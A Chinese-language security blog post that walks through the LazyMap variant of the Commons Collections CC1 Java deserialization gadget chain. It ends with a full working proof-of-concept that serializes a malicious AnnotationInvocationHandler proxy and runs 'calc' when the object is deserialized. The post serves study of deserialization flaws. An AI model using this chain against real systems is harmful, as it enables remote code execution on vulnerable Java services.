CC1補充-LazyMap利用

高人于斯發表於2024-06-23

CC1的LazyMap鏈

分析了上一條鏈子,其實在TransformMap類那裡有個分叉點,就是還可以利用另一個類LazyMap進行transform方法的呼叫。

進入到LazyMap類中,發現get方法也呼叫了transform方法:

QQ截圖20240620214456

可以看到在呼叫方法之前有個if的判斷,跟進這個containKey函式:

QQ截圖20240620215313

翻譯一手:

QQ截圖20240620215424

也就是傳入的key值是map鍵值對中沒有的就會返回false了,這個很容易就能實現。

然後看看怎麼控制引數factory,發現構造方法可以對factory進行賦值,雖然有兩個構造方法但其引數型別不同先不管。

QQ截圖20240620220336

這裡又是保護屬性,需要找一找看有沒有其他地方對其進行了呼叫。發現和TransformMap一樣都有個靜態方法decorate能夠實現構造方法的呼叫。

QQ截圖20240620220728

測試一下:

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;

public class CC1test {
    public static void main(String[] args) throws Exception {
        InvokerTransformer t = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> Lazy = LazyMap.decorate(map,t);
        Lazy.get(Runtime.getRuntime());
    }
}

QQ截圖20240620221701

還是和上一條鏈子一樣,繼續向上找看誰呼叫了get方法,發現有一千多個結果,這怎麼找。

反正感覺應該和上一條鏈子是差不多的,直接從終點類AnnotationInvocationHandle開始找,不過發現memberValues.get並不在readObjetc中而是在invoke方法裡。

QQ截圖20240621151605

但這裡是Handler中的invoke方法,這不是很熟悉嗎。在jdk動態代理是可以透過Proxy.newProxyInstance獲得物件,然後呼叫該物件方法來達到Handler.invoke()方法。但是這怎麼和readObject相聯絡呢?

我們在來看看在執行readObject的時候有沒有什麼我們可以控制的方法呼叫(因為要透過方法呼叫來轉到Handler.invoke()方法),

QQ截圖20240622214424

這個首當其衝就應該想到memberValues吧,畢竟這個承引數最容易控制。然後看到在for迴圈的時候呼叫了其方法entrySet(下面它的其他方法就不用看了,呼叫到第一個方法的時候就已經轉到Handler.invoke()方法了)。所以思路清晰了,就是讓memberValues為Proxy.newProxyInstance獲得的物件就行了。這樣在進行反序列化的到for時就能自動進入invoke方法,在進入invoke方法時,我們在透過建構函式把memberValues設為lazyMap,這樣就可以呼叫到lazyMap的get方法,在由get方法去呼叫transform方法。

反序列化是這樣,所以構造序列化payload就行先把memberValues設為lazyMap,在把memberValues設為Proxy.newProxyInstance獲得的物件。

先構造Hanlder物件:

        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
        con.setAccessible(true);
        InvocationHandler hand=(InvocationHandler)con.newInstance(Override.class,Lazy); //透過建構函式設memberValues為lazyMap

然後利用Proxy.newProxyInstance獲得的proxyMap物件並且handler引數為hand(這樣就可轉到AnnotationInvocationHandler的invoke方法呢)

Map  proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},hand);

接下來只需要呼叫proxyMap的方法了,設memberValues為proxyMap:

 InvocationHandler in =(InvocationHandler) con.newInstance(Repeatable.class,proxyMap);

所以最後poc:

package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Repeatable;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Proxy;

public class CC1test {
    public static void main(String[] args)throws Exception {


                Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };

                ChainedTransformer cha=new ChainedTransformer(transformers);

        InvokerTransformer t = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        map.put("entrySe","entrySet"); //可以不用設,不要把key設為entrySet,不然不滿足lazy.get條件
        Map<Object,Object> Lazy = LazyMap.decorate(map,cha);

        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
        con.setAccessible(true);
        InvocationHandler hand=(InvocationHandler)con.newInstance(Override.class,Lazy);

        Map  proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},hand);
        InvocationHandler in =(InvocationHandler) con.newInstance(Repeatable.class,proxyMap);
        serilize(in);
        deserilize("serr.bin");
            }
    public static void serilize(Object obj)throws IOException{
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("serr.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
   }

}

執行得到計算機:

QQ截圖20240622225638

相關文章